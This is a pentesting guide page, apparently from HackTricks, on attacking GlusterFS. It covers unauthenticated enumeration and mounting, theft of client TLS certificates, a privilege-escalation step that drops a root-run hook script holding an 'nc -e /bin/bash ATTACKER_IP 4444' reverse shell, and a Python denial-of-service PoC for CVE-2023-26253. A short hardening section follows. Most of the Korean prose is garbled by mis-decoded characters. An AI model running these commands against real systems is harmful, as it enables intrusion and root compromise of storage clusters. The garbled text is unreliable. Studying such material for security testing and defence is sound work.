24007-24008-24009-49152 - Pentesting GlusterFS
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
Basic Information
GlusterFS๋ ์ฌ๋ฌ ์๋ฒ์ ์ ์ฅ์๋ฅผ ํ๋์ ํตํฉ ๋ค์์คํ์ด์ค๋ก ๊ฒฐํฉํ๋ ๋ถ์ฐ ํ์ผ ์์คํ
์
๋๋ค. ๊ด๋ฆฌ ๋ฐ๋ชฌ(glusterd)์ ๊ธฐ๋ณธ์ ์ผ๋ก 24007/TCP์์ ์์ ๋๊ธฐํ๋ฉฐ, 49152/TCP์์ ์์ํ๋ ๋ฐ์ดํฐ ํ๋ฉด ๋ธ๋ฆญ์ ์ง์ํฉ๋๋ค(๋ธ๋ฆญ๋น ํ๋์ ํฌํธ, ์ฆ๊ฐํ๋ ๋ฐฉ์). 9.x ์ด์ ๋ฒ์ ์ ๋ธ๋ฆญ ์ ์ก์ ์ํด 24008โ24009/TCP๋ฅผ ์ฌ์ฉํ์ผ๋ฏ๋ก, ๋ ๊ฑฐ์ ํด๋ฌ์คํฐ์์ ์ฌ์ ํ ์ด๋ฌํ ํฌํธ๋ฅผ ์ ํ ์ ์์ต๋๋ค.
PORT STATE SERVICE VERSION
24007/tcp open glusterd GlusterFS (RPC)
49152/tcp open gluster-brick SSL (TLS optional)
ํ: 24007์ ์คํ ๋ฆฌ์ง ์ ์ฉ ๋ ธ๋๊ฐ ๋ณผ๋ฅจ์ ๋ด๋ณด๋ด์ง ์์ ๋์๋ RPC ํธ์ถ์ ์๋ตํฉ๋๋ค. ๋ฐ๋ผ์ ์ด ์๋น์ค๋ ๋๊ท๋ชจ ์ธํ๋ผ ๋ด์์ ์ ๋ขฐํ ์ ์๋ ํผ๋ฒ ๋์์ ๋๋ค.
์ด๊ฑฐ
๊ณต๊ฒฉํ๋ ๋ฐ์ค์ ํด๋ผ์ด์ธํธ ์ ํธ๋ฆฌํฐ๋ฅผ ์ค์นํ์ญ์์ค:
sudo apt install -y glusterfs-cli glusterfs-client # Debian/Ubuntu
- ํผ์ด ๊ฒ์ ๋ฐ ์ํ
# List peers (works without authentication in default setups)
gluster --remote-host 10.10.11.131 peer status
- ๋ณผ๋ฅจ ์ ์ฐฐ
# Retrieve the list of all volumes and their configuration
gluster --remote-host 10.10.11.131 volume info all
- ๊ถํ ์์ด ๋ง์ดํธ
sudo mount -t glusterfs 10.10.11.131:/<vol_name> /mnt/gluster
๋ง์ดํธ๊ฐ ์คํจํ๋ฉด ํด๋ผ์ด์ธํธ ์ธก์์ /var/log/glusterfs/<vol_name>-<uid>.log๋ฅผ ํ์ธํ์ธ์. ์ผ๋ฐ์ ์ธ ๋ฌธ์ ๋ ๋ค์๊ณผ ๊ฐ์ต๋๋ค:
- TLS ๊ฐ์ ์ ์ฉ (
option transport.socket.ssl on) - ์ฃผ์ ๊ธฐ๋ฐ ์ ๊ทผ ์ ์ด (
option auth.allow <cidr>)
์ธ์ฆ์ ๋ฌธ์ ํด๊ฒฐ
๊ถํ์ด ์๋ ํด๋ผ์ด์ธํธ ๋
ธ๋์์ ๋ค์ ํ์ผ์ ํ์ณ์ /etc/ssl/ (๋๋ ์ค๋ฅ ๋ก๊ทธ์ ํ์๋ ๋๋ ํ ๋ฆฌ)์ ๋ฐฐ์นํ์ธ์:
/etc/ssl/glusterfs.pem
/etc/ssl/glusterfs.key
/etc/ssl/glusterfs.ca
์๋ ค์ง ์ทจ์ฝ์ (2022-2025)
| CVE | ์ํฅ์ ๋ฐ๋ ๋ฒ์ | ์ํฅ | ๋น๊ณ |
|---|---|---|---|
| CVE-2022-48340 | 10.0โ10.4, 11.0 | ๋คํธ์ํฌ๋ฅผ ํตํด ์ ๊ทผ ๊ฐ๋ฅํ dht_setxattr_mds_cbk์์์ use-after-free | ์๊ฒฉ DoS ๋ฐ ๊ฐ๋ฅํ RCE. 10.4.1 / 11.1์์ ์์ ๋จ. |
| CVE-2023-26253 | < 11.0 | FUSE ์๋ฆผ ํธ๋ค๋ฌ์์์ ๊ฒฝ๊ณ ์ด๊ณผ ์ฝ๊ธฐ | ์กฐ์๋ FS ์์ ์ ํตํ ์๊ฒฉ ์ถฉ๋; ๊ณต๊ฐ PoC ์ฌ์ฉ ๊ฐ๋ฅ. |
| CVE-2023-3775 | < 10.5 / 11.1 | gluster_shared_storage๋ฅผ ๋ง์ดํธํ ๋ ์๋ชป๋ ๊ถํ ๊ฒ์ฆ | ์ธ์ฆ๋์ง ์์ ํด๋ผ์ด์ธํธ๊ฐ ๊ด๋ฆฌ ๋ณผ๋ฅจ์ ๋ง์ดํธํ ์ ์๊ฒ ํจ โ ์๋์ ์ค๋ช ๋ priv-esc๋ก ์ด์ด์ง. |
ํญ์ ๋ชจ๋ ๋ ธ๋์์
gluster --version์ ํ์ธํ์ญ์์ค; ๋ถ๋ถ ์ ๊ทธ๋ ์ด๋ ํ ์ด์ง์ ์ธ ํด๋ฌ์คํฐ๊ฐ ์ผ๋ฐ์ ์ ๋๋ค.
gluster_shared_storage ์
์ฉ (๊ถํ ์์น)
์ต๊ทผ ๋ฒ์ ์์๋ ๋ง์ ๊ด๋ฆฌ์๊ฐ ์ง๋ฆฌ์ ๋ณต์ ๋ฅผ ๋จ์ํํ๊ธฐ ์ํด ํน๋ณํ gluster_shared_storage ๋ณผ๋ฅจ์ ์ธ๊ณ ์ฝ๊ธฐ ๊ฐ๋ฅํ๊ฒ ๋จ๊ฒจ๋ก๋๋ค. ์ด ๋ณผ๋ฅจ์ ๋ชจ๋ ๋
ธ๋์์ root๋ก ์คํ๋๋ cronjob ํ
ํ๋ฆฟ์ ํฌํจํ๊ณ ์์ต๋๋ค.
# 1. Mount admin volume anonymously
mkdir /tmp/gss && sudo mount -t glusterfs 10.10.11.131:/gluster_shared_storage /tmp/gss
# 2. Drop malicious script that gets synchronised cluster-wide
cat <<'EOF' > /tmp/gss/hooks/1/start/post/test.sh
#!/bin/bash
nc -e /bin/bash ATTACKER_IP 4444 &
EOF
chmod +x /tmp/gss/hooks/1/start/post/test.sh
# 3. Wait until glusterd distributes the hook and executes it as root
hooks/1/๊ฐ ์์ผ๋ฉด /ss_bricks/๋ฅผ ์ฐพ์๋ณด์ธ์ โ ์ ํํ ๊ฒฝ๋ก๋ ์ฃผ์ ๋ฒ์ ์ ๋ฐ๋ผ ๋ค๋ฅผ ์ ์์ต๋๋ค.
์๋น์ค ๊ฑฐ๋ถ PoC (CVE-2023-26253)
#!/usr/bin/env python3
# Minimal reproducer: sends malformed NOTIFY_REPLY XDR frame to 24007
import socket, xdrlib, struct
p = xdrlib.Packer(); p.pack_uint(0xdeadbeef)
with socket.create_connection(("10.10.11.131",24007)) as s:
s.send(struct.pack("!L", len(p.get_buffer())|0x80000000))
s.send(p.get_buffer())
glusterfsd < 11.0์ ์คํํ๋ฉด ์ถฉ๋ํฉ๋๋ค.
๊ฐํ ๋ฐ ํ์ง
- ์ ๊ทธ๋ ์ด๋ โ ํ์ฌ LTS๋ 11.1 (2025๋ 7์)์ ๋๋ค. ์์ ๋ชจ๋ CVE๊ฐ ์์ ๋์์ต๋๋ค.
- ๋ชจ๋ ๋ธ๋ฆญ์ ๋ํด TLS๋ฅผ ํ์ฑํํฉ๋๋ค:
gluster volume set <vol> transport.socket.ssl on
gluster volume set <vol> transport.socket.ssl-cert /etc/ssl/glusterfs.pem
- CIDR ๋ชฉ๋ก์ผ๋ก ํด๋ผ์ด์ธํธ๋ฅผ ์ ํํฉ๋๋ค:
gluster volume set <vol> auth.allow 10.0.0.0/24
- ๊ด๋ฆฌ ํฌํธ 24007์ ํ๋ผ์ด๋น VLAN์์๋ง ๋ ธ์ถํ๊ฑฐ๋ SSH ํฐ๋์ ํตํด ๋ ธ์ถํฉ๋๋ค.
- ๋ก๊ทธ๋ฅผ ๋ชจ๋ํฐ๋งํฉ๋๋ค:
tail -f /var/log/glusterfs/glusterd.log๋ฐ audit-log ๊ธฐ๋ฅ์ ๊ตฌ์ฑํฉ๋๋ค (volume set <vol> features.audit-log on).
์ฐธ์กฐ
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


